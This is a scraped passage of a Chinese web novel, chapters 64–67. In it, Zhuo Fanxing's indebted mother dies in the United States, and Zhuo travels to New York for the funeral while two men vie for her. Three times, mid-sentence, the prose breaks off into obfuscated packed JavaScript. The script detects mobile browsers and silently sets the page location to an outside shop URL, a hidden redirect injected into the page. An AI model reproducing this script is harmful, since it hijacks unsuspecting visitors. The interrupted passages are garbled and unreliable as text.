卓繁星意外地抬起头,角落里一个穿着练功服的男孩子想上前又不敢上前,脸涨的通红。 “有男朋友了。”卓繁星轻笑着开口。 姑娘们失望地噢出声。徐昆摸着头发讪笑。“她们开玩笑的,卓老师不好意思。” “没事。” 手机里的信息还停留在凌晨的那条。【我在半岛酒店等你。灿灿,我希望你好好想想。如果你愿意,把相关的证件交给我,我来安排。明天下午4点前我都在。】 昨天的记忆又浮现在眼前。 “理由呢?”在她说出那句蛊惑的话后,卓繁星问她。 姚馨雅的眼角跳了下。“我说过了,你会比在这里好很多。” 卓繁星打断她:“我问的是,你的理由。” “什么?什么理由?”她的眼角又跳了一下,这次却连笑也维持不住了。 卓繁星沉默地望着她,姚馨雅试图弯了弯唇,到后来也只有嗤笑。“别这样看我。”她有些羞恼地开口。 “我是为你好。”她丢下这句,将包里的烟盒翻出来。 “你在这里做什么工作?我听说是在教孩子跳舞。一个月拿多少钱?有自己的房子吗?是不是还租房住?你打算一辈子租房吗?还有你爸爸要养。” 她缓缓抽着烟,像是理清了思绪,说话也理直气壮,格外淡定起来。抽一口便移开,阳光下的眼睛微眯地看着她,有一种笃定。 “我下午还有工作。”卓繁星却只吐出这样一句话。 “我话还没说完!”姚馨雅掀眸,薄薄的两片嘴唇仿佛射刀子一样。“你和你爸爸真是一模一样。” 姚馨雅变幻了模样,丢下温柔知性的皮囊,露出少有的戾气。 这模样便是卓繁星也不多见,即便她厌恶她,可至多是无视,只要她不出现在她眼前,碍她的眼,她便不必如此。如今,不知是什么缘由。 卓繁星的心神有一瞬间的晃荡,催化出一种自厌的情绪。她低下头不去看她。“你到底有什么事?” “我现在的丈夫不可靠,我要你跟我去美国一起生活。”姚馨雅简短地讲完,拿过烟灰缸点了点烟头。 “你要我给你养老?”卓繁星十分诧异。对于她来说这可真是一件太“光荣”的事,她以为这件事绝轮不到她。 “差不多吧。我这些年虽没教过你,但养你的钱可是一分不落。在这上面,我没有亏欠过。” 卓繁星说:“我可以给你打钱。” “你的钱?”她轻蔑地嗤了一声。“你能有多少钱。你以为是你爸那种人?要靠着女儿过活......”姚馨雅顿了顿,冷淡的眸子移开。 “你是不是出什么事了?”卓繁星突然想到了这种可能。“生病了吗?” 她着急起来,两只圆圆的眼睛头一次充满感情地望着她,令姚馨雅没有那么讨厌了,这双像极了前夫的眼睛。 “没有。”她的语气也软下来。 “那就好。”我可再没有一个肾了。卓繁星暗暗补充。“我真的有工作。” “灿灿,我希望你答应我。” “我不想去美国。” “你可以和你爸生活这些年,我就提这一个要求都不行吗?” 卓繁星被她的示弱弄得有些慌张,即便知道她绝不是因为她,仍令她的语气缓转下来。“我在这里有稳定的工作,还有朋友,我很喜欢,不想改变。” “你必须去!” 她强硬起来,瞪着她,哪有方才的样子,没有一丝温情,这才是她平常的样子。不过还是不同,她平常向来视她如无物,如今却富有情感,即便是愤怒。 卓繁星起身就走,她如今可不是当年那个孩子,她对她是什么样的感情又有什么重要呢。 “我会给你打钱的,和爸一样。”她丢下这句,甚至有些雀跃。看,谁都挑不出她的错来。 “那点钱不够。” “灿灿。”卓繁星在转头的时候,听见她颤抖的声音。 姚馨雅此刻身上所有的光鲜亮丽似乎都褪去了踪影,垂下来的发丝不再是随性自然,而是凌乱毛躁。眼妆周围的粉卡在细纹里,呈现出皲裂的质感。那只手也是枯瘦的,如同地下的树根一样。 “灿灿。迪克的投资失败了,我们马上就要面临违约。这是很大一笔钱,我承受不起,我所有的心血都在里面......”话至此处,她向后捋了一把头发,眼睛里的光芒闪烁,摇摇欲坠。“蒋凌洲能帮我们。” “我不懂。” “你当然懂!”她站起来,握住她的肩膀。“他喜欢你!非常喜欢你!” “我不知道你在说什么。” “是你不知道他的能力,他能带给你什么?你难道想一辈子当个舞蹈老师吗?就这样教人跳舞,以后嫁给一个普普通通的男人,生孩子,养他,还要养一个身体不好的爸爸。你就想要过这样的人生吗?” 卓繁星的手臂被掐的疼痛,即便穿着外套,她感觉她细长的指甲已经要嵌进她的肉里。 “你欠了多少钱?”卓繁星听见自己的声音,竟然还十分冷静。 “几千万?美金。不,我们所有的钱都在里面。所以光是这些还不够。”她看着她,眼神飘移,鼻子吸了几下,呼吸越来越急促。 卓繁星就看见她哽咽着去翻那只放在旁边的爱马仕,然后拿出一瓶橙黄色的药。 “我最近睡眠不太好,会头痛。”她咽下去药片,拿咖啡灌。手扇着风,脖子脸上浮了一层汗。 “我不能失去以前的生活。”她好像恢复了一点清醒,对卓繁星郑重地讲。 “你可以回来,和你老公离婚,回京市。” “你开什么玩笑?” “舅妈他们知道这件事吗?” “知道又怎么样?他们帮不了我。” “你还没问过,怎么就知道,万一他们有办法呢。”卓繁星拿出手机。“我现在给舅妈打电话。” 手机被抢走,姚馨雅插着腰,扯掉丝巾,遏制着怒火。“灿灿。我只需要你和我一道回美国。这是对我们都好的打算。” 天色暗下来,天空像要拉上一层灰色的幕布,远处的夕阳竭尽全力地发出最后一点光。凉意袭来。失去了太阳,温度便已迅疾的速度在消失。 “呦,还有人。”保安进来。“卓老师,还没走呢?” “就走。不好意思。” 卓繁星背上包,一路浑浑噩噩地到了家里。 京市,姚国平接到卓繁星电话的时候,正在单位回家的路上。他停下电瓶车,从前面的提篮里摸出手机,眨了好几下眼睛。 “喂?灿灿?”真是稀奇,他岔着两条腿,夹眯着眼。 那头生涩地喊了一声舅舅。 “哎,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067368|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说?是不是灵均的事。这事儿你不给我打电话,我还想让你舅妈给你打一个。灵均呐,犟得很,不听话。她那房子还没弄好,你看下个月就结婚了。” “胡昊天家里小,她肯定住不惯。咱家里能住,可难看呀。嘴上不说,大老爷们儿住媳妇儿娘家。租房子也不好。” “我和你舅妈两人凑凑,再问你秦奶奶那儿借点儿,干脆付全款,省的以后扯不清,这房子就是给灵均的。秦奶奶那儿都说好了,你说她又闹起来,说什么都不肯。你回头跟她通通电话,我们说不通。” “什么?你问借了多少钱?” 卓繁星干张着嘴,听那边讲。“百来万吧。” “妈来找我了。” 那头一下没了声音,过了会儿试探着开口:“你妈是不是出什么事儿了?” “她说她老公投资失败了,欠了很多钱。” “......怪不得呐。”姚国平讷讷地应了一句。“先前你舅妈让我问她借钱,她说过两天,后来就没消息了。她还生气。这不才张口和蒋家借的嘛。” 一问金额,他又是半天不吱声。 “我回头给她打个电话。你别担心。再怎么样,大不了离婚回国,家里又不是住不下。” 卓繁星不知道他们通话如何,姚馨雅没有消息传来,舅舅也没消息。她在第二天去过酒店,可酒店说她在上午就已退房离开。 卓繁星离姚馨雅太远了,对于她的生活一无所知。要是自己真有几百万的身家,全拿出去给她还债就是,就和当初她把肾给卓强一样。 徐凤的电话在一个清晨打来,卓繁星听她讲:“我已经叫你妈妈回来了。她全是叫那个鬼佬给害了。如今人也被抓进去了。临到老了,还要出这种事。所以我说,什么投资都是有风险的,不如老老实实上班。” 她喃喃骂了数句,不晓得她有没有在听。 “灿灿。” 卓繁星一激灵,原来是昨天窗没关,如今风吹进来,她又刚从床上爬起来,外套也没穿。 “好了,你别担心。等她那边事情处理好,回国就好了。” 卓繁星点点头,又问了两句灵均的事。 她寥寥数语,结束了说:“你同灵均通个电话,钱都借来了,房子是一定要买的。” 卓繁星抱着手臂坐在床上,有一瞬间想要不要同姚馨雅去个电话。 她已经打算好了,之后会定期给她生活费的。那给多少好?和卓强一样2000块?好像少了点。毕竟她正儿八经花了不少钱在她身上。 真是一笔要算算的帐。 她不免轻松起来,望着撩起的窗帘,都觉得可爱。 三月还有件重要的事,那就是翁乐仪的生日。 卓繁星点进那个繁星头像的图片,通话简短,这两天因为这些事,自己有些心不在焉。 她敲了一个兔子亲亲过去,借机骗来他的公寓地址。 到了生日那天,卓繁星早早调好时间飞去津市,预备给他一个惊喜,可糟糕的天气让飞机延误了。 跑道上亮起了灯,地勤披着雨披,穿梭在巨大的飞机下面。周遭的人群或多或少有些焦躁,他们频繁地询问出发时间,还要多久。 卓繁星安静地看着,阴沉沉的天也没有影响她的好心情。 翁乐仪还不知道。他或许连自己的生日都忘了。 在又一次广播后,人群终于开始动起来,自发地排成队——终于要出发了。 卓繁星提起自己的背包,手机响了。 “卓小姐吗?我是您母亲姚馨雅的律师。她在昨天美东时间凌晨3点左右,在家中意外离世。” 65. 第 65 章 卓繁星走出机场,外面的雨淅淅沥沥,零散的车辆像是整个空间中的小小蚂蚁,搬运着人,到了这个叫机场的目的地便放下来,好去奔赴下一个。 卓繁星被碰到,像是个没重量的人,眼见着往一边倒,幸好不至于真是如此。推着行李车的人急忙和她道歉。“不好意思。不好意思。” “哎?小姐?” 卓繁星迟钝的眼珠看向他,没有什么表情,痩白的脸,偶尔颤动的睫毛,叫人觉得奇怪。走出老远了,还忍不住回头看——她还站在那儿,跟傻了似的。 卓繁星看着来往的车流,终于意识到自己走错了出口。打车的位置在地下,她怎么也不该出现在这里。 方才她还质疑那位律师的身份。不是很多吗,这样类似的诈骗案。直到对方,略带遗憾的声音清晰地传过来。“您母亲曾咨询过我安排您出国的事项。你知道的,她近来遇到些不好的事......我联络不上她,所以才会上门寻找。目前来看,尽管法医的报告还没出具,可应该是饮酒过量导致的溺亡。” “我知道这实在是太过突然。非常抱歉,带来这样不好的消息。” “我需要加一下您的联系方式,我把我的邮箱发给您。您需要尽快过来一趟,许多事项需要您处理。她在这里没有其他亲人,她丈夫已经入狱。” “其他人知道吗?” “其他?”他稍愣了愣。“你是说她在国内的其他亲人?” “对,我的舅舅舅妈,还有姥姥姥爷,他们都在京市。” “您可以转达一下。如果他们要陪同您一起来,相关的手续我可以一并办理。” 卓繁星终于坐上了车。 窗外的景黑蒙蒙的,雨水反射着路灯的光,车辆在上了高架后汇成红色的潮水,它们闪着光,无端就给人一种紧张的感觉。 这时一辆救护车经过,滴呜滴呜的声音,从很远的地方就开始,直到经过时骤然放大。卓繁星感觉自己的耳膜震动,眼睛不由之主地就盯着它闪烁的红蓝色光,心脏一并跳的快起来,随之而来就是一阵强烈的恶心。 好在它很快褪去,脑中只剩下一片空白。 卓繁星下车后,只想赶紧回家去躺下来。 她有种不真实感。 雨天、机场、她原本想做什么,好像忘记了一件事。脑子好像一只生锈的齿轮,运转的十分吃力。 进了家,小八绕在脚边。她蹲下去摸了摸它,习惯性去拿罐头。 对,她出门前刚喂过。 她又回转,坐到沙发上。 卓繁星醒来的时候,屋外的天黑沉沉,她却以为已经是白天了。阴天不就是这样,然而翻出手机,才知道是夜里两点多钟。 期间翁乐仪给她打过一通电话,9点多的时候,那个时候她睡着了,没听见。明天再回给他吧,她这样想。 卓繁星等到早上7点给舅妈去了电话。 她的户口尚未迁出,她需要用它来证明和姚馨雅的母女关系。 她顾及不到徐凤听到时震惊惊慌的样子,平静而清晰地将自己需要的文件告诉她,并询问她是否要一同去。 她在哭声中咒骂着姚馨雅的丈夫,随后想起来这才是最紧要的事。“我会和你舅舅商量的。灿灿,你别太伤心。”末了,她补充道。 卓繁星说:“好的。” 灵均的电话随后而至,声音里带着哽咽。 “怎么会发生这种事。” 卓繁星说:“是意外。”她想到那天见到姚馨雅的样子,或许早有预兆。 “我没想到,灿灿,我不知道姑姑出了这么大事。我妈他们才和我讲。对不起。” 卓繁星说:“我也是才知道。不怪你啊。” 过来片刻,姚灵均颤颤巍巍的声音传过来。“她会是自杀吗?” 卓繁星顿了下。“不确定。律师说她喝了很多酒,这样的事很常见。” 又是一阵沉闷,卓繁星听见那端抽泣的声音。 姚灵均粗着呼吸开口:“姥姥姥爷年纪大了,我妈说先不和他们讲。我和你一起去,等事情差不多结束了,再和他们说。” “好。”卓繁星安静地挂了电话。 这之后便是正常的工作。她需要请大约一周左右的假,幸好她还有个缓冲时间给何安琪。 她听后说:“要不要现在就休假,你不用急着上班的,先把这件事处理好,还有心情方面......这种事都能理解的。” 卓繁星拒绝了,因为她并没有真的到了伤心到这种地步的样子。她只是在时不时接到律师发来的信息的时候,怔忪一下——姚馨雅真的去世了。 还有她每次进浴室的时候,都会忍不住盯着那只浴缸。 津市,翁乐仪接到蒋濯衣的电话的时候,难以置信。毕竟与灿灿的通话,她都极为正常。 蒋濯衣的声音还在耳畔:“你需要问一问她,乐仪,这对她肯定打击很大。” 夜里的通话,寻常的开场白,卓繁星甚至说起她今日给小八去打了疫苗。 “我听说你妈妈的事了。” 卓繁星一下噤声。 明显的停顿后,翁乐仪才听见她开口。“是,对,是意外。” “我明天就回来,你准备好材料了吗?没关系,你可以交给我,我来安排。” “我明天就去美国了。” “什么?” “明天下午的飞机。” 卓繁星仿佛看见他皱眉的样子。沉默蔓延开来,像是一场死刑前的宣判。 终于她听见他的声音。“都安排好了?” “......对,灵均会和我一起去。你不用担心。” “好。” 电话挂断。卓繁星有些奇怪地看了一眼手机。她拿出邵丽丽的香烟,走到阳台边打开窗。 邵丽丽回来的时候,正看见她倚着窗,扭头望过来。干净的脸上挂了一抹极淡的笑,被烟一吹就散。 “你回来了?”她举着烟,另一只手托着手肘,声音姿态说不出的风情,有种强烈的反差感。 若是平时,邵丽丽或许会调侃两句,只是今天太过反常。她放下包过去,走到她身边,默默点了一只。 “我的猫需要你帮我照看一下。潘潘最近不太方便。” “噢。我看见了。”邵丽丽瞟了一眼沙发上睡着的小八。 “你记得把卫生间和厨房的门关上。”卓繁星叮嘱她。 “你是要去哪儿?” “美国。我妈意外去世了。” 邵丽丽在听见前面两个字的时候已经很讶异,只是还没来得及出口,又被后面的字打的措手不及。 “繁星。”她有些小心的开口。 卓繁星说:“没什么,只是她在外面没有亲人,所以需要我过去一趟。” “你一个人?” “不是,和我表妹一起。” 邵丽丽稍稍放心,安静地抽了一会儿烟,说:“我现在都不知道我妈是死还是活。”见卓繁星睨她,笑了一声,无所谓道:“她跑了呀。” “你很难受吗?”她问。 卓繁星认真想了想,摇头。“不知道,可能还是懵多一些......想着快点结束吧。” 她说完望着窗外,眼珠里有一种异样的冷漠。 次日,卓繁星飞往纽约。她从沪市出发,灵均从京市起飞。即便有姚馨雅的律师在,可鉴于当地的行政效率,有些事项势必没有那么快。 卓繁星在机场见到了这位一直联络的律师,中等个子,有些秃头,年纪同姚国平差不多大。 他在车上同她们沟通起来,双方都较为平静。姚灵均也只是在提起遗体如今存放在何处时,有些失控,看向窗外。 “你们这次来,恐怕带不回去,美国这边的流程会比较慢。” 舅舅的意思是要将姚馨雅的骨灰带回去,这也是给两个老人一个交代。难道要叫她葬在异国,以后连个祭拜的人都没有。 “其实,姚女士名下还有一间画室。”韩律师将相关的文件拿出来,卓繁星英文不太好,姚灵均便接过来。 “不是说财产都被没收了?这上面也不是她。”姚灵均看着那个名字,诧异地看向他。 韩律师颔首。“蒋先生是这间画室的幕后投资人,只是一部分持股,姚女士出事后,他便干脆买了下来。” “那和我们有什么关系?” “蒋先生的意思是这间画室实际还是归姚女士所有,他只是帮忙。”他看向旁边一言不发的姑娘。“或许,您母亲同你提过。” 卓繁星想到那天姚馨雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067369|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,她说自己有一间画室。阳光下,妆容精致的女人好像抓住了最后一丝希望。 “我不清楚她的事。” 韩律师表示理解。“总之,这间画室您可以当做她的遗产来处置。” 她们被带去认领遗体,姚灵均几乎哭死过去。她其实已经接受姑姑的死去,只是当看到她闭着眼睛,青白着脸躺着的样子,巨大的悲伤便立刻袭来。 明明上次通话还在聊她婚礼的事,说一定会提前回来。 签字的时候,工作人员甚至以为她才是逝者的女儿,以至于卓繁星接过笔的时候,都十分吃惊。 毕竟这女孩儿异常的平静。 她脸上当然不至于有那种欢快的样子,那也太过离谱,只是与伤心,失去母亲的那种心情,还是相距甚远。 陌生的街道,陌生的空气,还有陌生的声音。无论是耳边的交谈声,还是街上车来车往的声音,都透着一股疏离感。 卓繁星不自在地叹了口气,想要回国的心很迫切。 “你有和翁乐仪讲过吗?”下榻酒店的时候,姚灵均擤着鼻涕问她。她刚刚挂断给胡昊天的电话。 “没有。”卓繁星这样回。她蹲在地上整理行李箱。 姚灵均奇怪地哎了一声。 “他知道的。”卓繁星愣了一下回道。 “噢。我就说,你总要告诉他的。还是在国外。” 卓繁星拿东西的手停顿下来。她的眉毛又皱起来,嘴角下撇,有种说不出的不舒服。 “我想回去了。” “我也不习惯。”姚灵均说。她看了一眼她,有些小心地开口:“灿灿,你伤心吗?” 卓繁星望过去,她就说:“我没有什么意思,就是,问一问。”好吧,事实上她就是感觉她没什么伤心,解释也没用。 “有点吧。”卓繁星给了她一个这样的回答。 “是吧,总归还是会难过的。”姚灵均很快接受了这个答案。 夜里,时差加上陌生的地方,让两个人都没有睡好觉。卓繁星听见姚灵均翻了好几个身,然后小声地,试探性地喊她。 卓繁星背对她,没有理她。 姚馨雅自成了美国公民后,便跟随丈夫信教,葬礼便安排在当地一间小小的教堂,一应事宜全由韩律师来办。 尤其当天来了不少人。卓繁星同姚灵均穿着丧服,接受了不少慰问。蒋凌洲也在其中。考虑到那间画室,他来也是很寻常的事。这些都是韩律师的功劳。毕竟无论是卓繁星还是姚灵均,都不知姚馨雅有何好友。若无他,她便连最后一丝体面也享受不到。 卓繁星私下问姚灵均:“这些事项要不要付费?” 姚灵均被她问的一愣,随即道:“这些应当算在姑姑的遗产里。” “她哪里还有遗产?” “画室。他不是说了,那间画室是给你的。” 卓繁星说:“那是蒋凌洲的。” “他只是帮个忙而已。干嘛?你不乐意?别犯傻。那本来就是他们操作好的。” 卓繁星抿了抿唇。“只要有钱付给韩律师就好。” 翁乐仪仍是坐上了飞往美国的飞机。 他先前是有些生气,可他随即就不忍心,人在遇到大事的时候就是会显出不同的性格。或许卓繁星就是这样,他先前不是领教过。 这时的她就像个犟驴,蒙着眼睛,只管自己的情绪。 无论如何,他要陪着她。 翁乐仪赶到时,葬礼已经结束,教堂空空,车子载着棺椁去往殡仪馆。 连日来的奔波让卓繁星身子发软,下车的时候差点摔下去。 姚灵均让她坐着休息,她同韩律师过去。 卓繁星在外面的时候就闻到一点烤肉的味道,这栋白色的建筑看起来一点也不像火葬场。 她靠着墙壁,眼睛被头顶的灯光晃得酸涩,身体变轻,与之相反的是眼皮越来越重,人也混沌起来。 她感觉到自己似乎倾倒在一个柔软的身体上。 不知道,总之没有感觉了。 蒋凌洲试探着撩开她的发丝。入口处的铁门被推开,发出一声闷响。他转过头,看见一个人走了进来。 黑色的皮鞋带着水汽,翁乐仪的头发有些凌乱,被外面突然下起的雨淋湿。 66. 第 66 章 “灿灿。”姚灵均拿着一份文件回来,吃惊地张开嘴。 卓繁星听见了,想回应她,可是怎么也睁不开眼睛。 蒋凌洲感觉到身边的人发出一声低弱的声音,蹙着眉,像一只要摔下去的纸鸢,没有重量。 “她发烧了。”他将她抱起。 韩律师错愕地看着他们。“这里我来处理,先带她去看医生。” 姚灵均急匆匆地跟上去,只有在某个瞬间想起了翁乐仪。她在门口的时候转过头,他已然跟了过来,拐杖撑在地上,她瞟了一眼,有些古怪似的不敢再看。 蒋凌洲的公寓内,请来的医生为卓繁星打了针剂。 “她很久没休息好了。让她睡一会儿。” 蒋凌洲对姚灵均说:“你们住的酒店在哪里?我让司机送你过去,把行李拿过来。” “不用了,等灿灿醒了,我们要回去的。” “她现在的情况,最好有医生在。你知道这里不像国内那么方便。” 姚灵均当然知道他说的是对的,可她也知道这人贼心不死。她看了一眼翁乐仪,他就坐在靠窗的椅子上,十分平静。 姚灵均去了酒店,下午三点再返回。 期间卓繁星睡得很平静,除开她苍白的脸色,不会让人觉得有任何的异样。她只是轻轻地呼吸着,有一种不存在的感觉。 屋里很安静,只是太过安静,外面的雨声便格外清晰。雨点时不时打在叶片上,啪...嗒,总要间隔一秒,让人有种奇怪地揪心,生怕后面的声音不会来,而在心里默默地数。 翁乐仪躬着身子坐着,两只手交叉,手肘撑在腿上,偶尔在那声雨出现偏差时,望一眼窗外。 蒋凌洲推开门,说:“乐仪,吃点东西。” 听见他的声音,翁乐仪稍稍侧过来,拇指抵着下唇,开口道:“凌洲,如果她喜欢的是你,我不会这样,和你争抢。” “什么?” “我们是兄弟。” “对。” “我觉得这样很尴尬。你不觉得吗?” 蒋凌洲说:“如果她喜欢我,你会放弃?” 他将这句话丢回给他,显然不信。翁乐仪看向他,眼睛里有种认真的凝视。“我曾经就是这样做的。我放弃过一次。” “哪次?”蒋凌洲突然想起了什么,眉梢跳了一下,眼中的戏谑消失。 “那怎么办?我和你是不一样的。乐仪,我不会选择放手。或者说成全。” 卓繁星醒过来的时候已经是晚上,她撑着床爬起来,陌生的环境,没有酒店里那股说不出来的奇怪味道,灵均跟他们反应了,也没有任何改善。 她在浴室墙壁上看见了一只壁虎,趴在那只看起来很浮夸的罗马柱子上。卓繁星在躺下后就想,它会不会掉下来,然后正好落在她的脑袋上。 窸窸窣窣的声音是它发出来的,它爬过了剥脱的墙体,然后掉下来,砸在浴缸里。浴缸里盛满水,一个裸体的女人安静地躺在里面。它伏在她胸口上,一串奇怪的泡泡,像是石头落水的波纹,从底部向上浮起。 卓繁星走近去看,那个女人瞬间睁开了眼睛。 这几天,她总是会被这样莫名其妙的梦惊醒。 “灿灿。”灵均的声音在耳边。卓繁星下意识地看过去,随后又去看面前的人——一个绝对不该在这里出现的人。 “要喝水吗?感觉怎么样?”他摸着她的头发,清润的眼睛,一如既往的样子。 卓繁星顺着那只抚摸她头发的手,看见一只腕表,金属表带,银色的,扣在他的腕上。 “怎么来了?”她终于听见自己的声音,带着浓重的鼻音,含糊不清。 她感觉那只腕表越来越模糊,上面的钢材像是会反光,一下子叫她什么都看不清楚。 呼吸声越来越急促,胸口的起伏也像个病人。 “灿灿。”他又用那种柔和的声音喊她。 像是催化剂。卓繁星不知道自己的样子。她试图说一些什么话,喊他的名字?或者就像刚刚那样,询问他为什么突然来了。 只是这些话都成不了句子。它们被拥挤的呼吸给撞的支离破碎,堵在喉咙里,像泡发的东西,每次先开口一个翁字,后来急匆匆就变成了怎么,怎么来了。 几次下来,卓繁星自己都觉得懊恼。 让她说呀,为什么话也不会说了。急的到后来,只剩前后紧跟的哭咽声。 卓繁星被他抱在怀里,翁乐仪抚着她的头发,一下又一下。 她终于不再试图说话了,而是抓住他的肩膀,闷闷的哭声全落到他的线衫里。 姚灵均默默带上门。客厅里,蒋凌洲问她要不要喝酒。 落地窗外是繁华的夜景,姚灵均喝了小半杯后,问道:“你的女朋友呢?”她突然想起来,那位林小姐,好像今天在葬礼上也没有见到。 “分了。” 姚灵均看了他一眼,默默评价道:“渣男。” “姑姑的画室怎么会和你有关系?” “律师怎么说的?”蒋凌洲不紧不慢地开口。 “他说是你和姑姑商量好的,为她保留一些产业。” “是这样。” 姚灵均搁下酒杯。“你说实话!是不是你联系的姑姑?” “如果你有看过文件,就应该知道很早之前我就是幕后投资人。” 姚灵均一时被他绕进去,犹疑道:“那你为什么要投资?” “我投资的可多着呢,你家同我家又不是陌生人。”蒋凌洲缓缓倒酒。“你不需要这么防备,我只是帮忙。” “真是就好。毕竟灿灿可不想同你有什么关系。” 姚灵均去拿酒,被他挪开。 “为什么?” “什么为什么?”姚灵均看着他冷下来的眼睛,无语道:“她喜欢的是翁乐仪。当然不想和你有关系了。刘清华呢?他眼睛没事儿吧。”她突然想到,这个人还不知道瞎没瞎。 “就在这儿,明天我带你去看他。” “我看他干什么。他没事就好。你别再折腾了,你把刘清华打成那样,俞阿姨,秦奶奶他们怎么看?他们可舍不得怪你这个宝贝儿子,只会怨灿灿。” 蒋凌洲头一次没犟,眼睛瞅着她,三两下又挪开,靠着岛台,点了只烟。 “你别折腾了。灿灿不喜欢你。我实话跟你讲吧,她读书时候喜欢的人就是翁乐仪。” “读书时候?”他吐出一口烟雾。 姚灵均说:“对啊,高中的时候。” “高中时候......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067370|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姚灵均截断他的话。“是,她高中的时候和你在一起了。可是那是个误会。她,怎么说呢,就是......” 姚灵均竭尽脑汁地想把话讲的委婉点,可是又要清楚地传达过去,好断了他的念想。她说的口干舌燥,以期让他真的听进去,到后来又带了点平时上课说教的习惯。总之,分外的啰嗦。 真是为难死她了。她最后总结道:“就是这样,她没喜欢过你。” 蒋凌洲提了下唇角,谑道:“我知道啊。” 姚灵均喝了一口酒,捂着嘴巴,抬头惊道:“你知道!” 蒋凌洲瞥一眼她,不介意让她更惊讶一点。“比乐仪还早。” “......kao!”姚灵均憋了半晌,憋出这么一句。“你瞪我干啥?你还好意思瞪我?你怎么好理直气壮的。你是不是做了什么?”她最后预感到了一些。 “怪不得灿灿不喜欢你。” 这句话成功收获一枚眼刀。 姚灵均说:“总之现在他们两个有情人终成眷属了,您老就别横插一脚了。” 蒋凌洲说:“那我的喜欢怎么办?” “你的喜欢?你喜欢灿灿,灿灿就一定要和你在一起?你是不是在美国呆久了,脑子被洗坏了。” “她为什么不喜欢我?我记得你以前貌似很喜欢我。” 姚灵均有种要被气到吐血的感觉。“你赢了,大哥,我宣布你赢了。”为了多活几年,她决定还是远离这个深井冰为好。 “我很认真的在问你。”蒋凌洲转过身,将烟头按灭。“为什么?为什么你那个时候会喜欢我,而她喜欢乐仪。” 姚灵均古怪地扫了他一眼——眼前的男人穿了一条黑色高领毛衣,十分简单,可谁也不能说他不好看,反而很高级。 毛衣尤其挑人,身材稍有不好,便会裹在身上,突出每一寸缺点。还有高领,脖子稍短一些,就是灾难。可这个人显然是个例外。 更别提他还有一张俊朗的脸。 即便姚灵均现在对他很多吐槽,却不得不承认他是个很有魅力的男人。 她想起多年前第一次见他时的样子,好像也是这样,他看人的时候,不自觉就让人觉得比他矮一分。 有一种天然的上位者气息,或者说优越感。 这是一种很迷惑人的东西,尤其对小女孩儿来说。她们天真,不谙世事,又格外地喜欢幻想。 蒋凌洲这种人真是天生为了满足她们幻想而存在的。 所以姚灵均在回头审视这段暗恋的时候,不得不总结,喜欢上他很正常啊。谁会不喜欢这种需要仰视的人,而幻想无非是一种慕强,。 可灿灿不会。 因为她受够了这种被蔑视的滋味。她可以接受忽视,毕竟她从小就是个爹不要娘不要的孩子,舅舅舅妈也终究不会将她放在第一位,至于姥姥姥爷,那更是无从提起。 她不需要再多一个人来轻视她。 “你从来没有尊重过她。放下那些猎奇的想象,还有纡尊降贵的心态,真的平等地对待她。或许对你来说理解起来有些困难吧。” 姚灵均无奈地摊手,她感觉对于他的童年滤镜已经快要碎成渣渣都不止了。他以前语文成绩多少来着?怎么看起来像个智障,她这样想。 67. 第 67 章 卓繁星其实并没有哭很久,只是像一个突然开闸的泄洪口,一下子将眼泪都流干了。 到了最后,她就是趴在那块潮湿的地方。“湿了。”她喃喃道,蜇的她脸都疼。 “你怎么来了?”她终于能说清楚话。然而对于翁乐仪回答了什么根本没听进去,敷衍地噢了一声,然后继续耿耿于怀。“湿了。” 卓繁星这个时候好像不知道为什么会哭,其实哭的理由也全不重要。就像她现在做的,她只关心被她弄湿的毛衣。 “没关系。”翁乐仪摸了摸她的脑袋。 视线里,她湿软的睫毛耷拉下来,随着他的动作颤了颤,很快又沁出透明的液体。 卓繁星似乎在找一个理由哭,越简单越好。翁乐仪突然为自己能明白她这一点隐瞒而感到放心,可随之而来的就是越来越多的心疼。她太习惯隐藏自己的情绪,她可以为一件毛衣哭,却不能为那个真正的原因。 她自己并不乐见。 翁乐仪想,他不能戳穿她。就像一只蜷缩的穿山甲,如果直白地去探究原因,无异于拿火去烤。她只会这样笨的方式。 姚灵均听见动静过来的时候,他们正在卫生间。翁乐仪靠着洗手台,卓繁星捏着一张洗脸巾给他擦着衣服——皱着眉的样子格外认真。 “灿灿。”她走近点。卓繁星两只眼皮子红而薄。“你好点没?肚子饿不饿?” 翁乐仪说:“温度正常,我刚刚给她量过。” 蒋凌洲在后面进来,房间里一下变得拥挤。 “灿灿,我给你煮碗面吧。蒋凌洲,你这儿的电器我用不来,你教教我。还有,你冰箱里有什么菜没?有面吗?意大利面?!”姚灵均扭头推着他出去。 卓繁星吃了一顿清淡的意大利面,加一个流心荷包蛋。 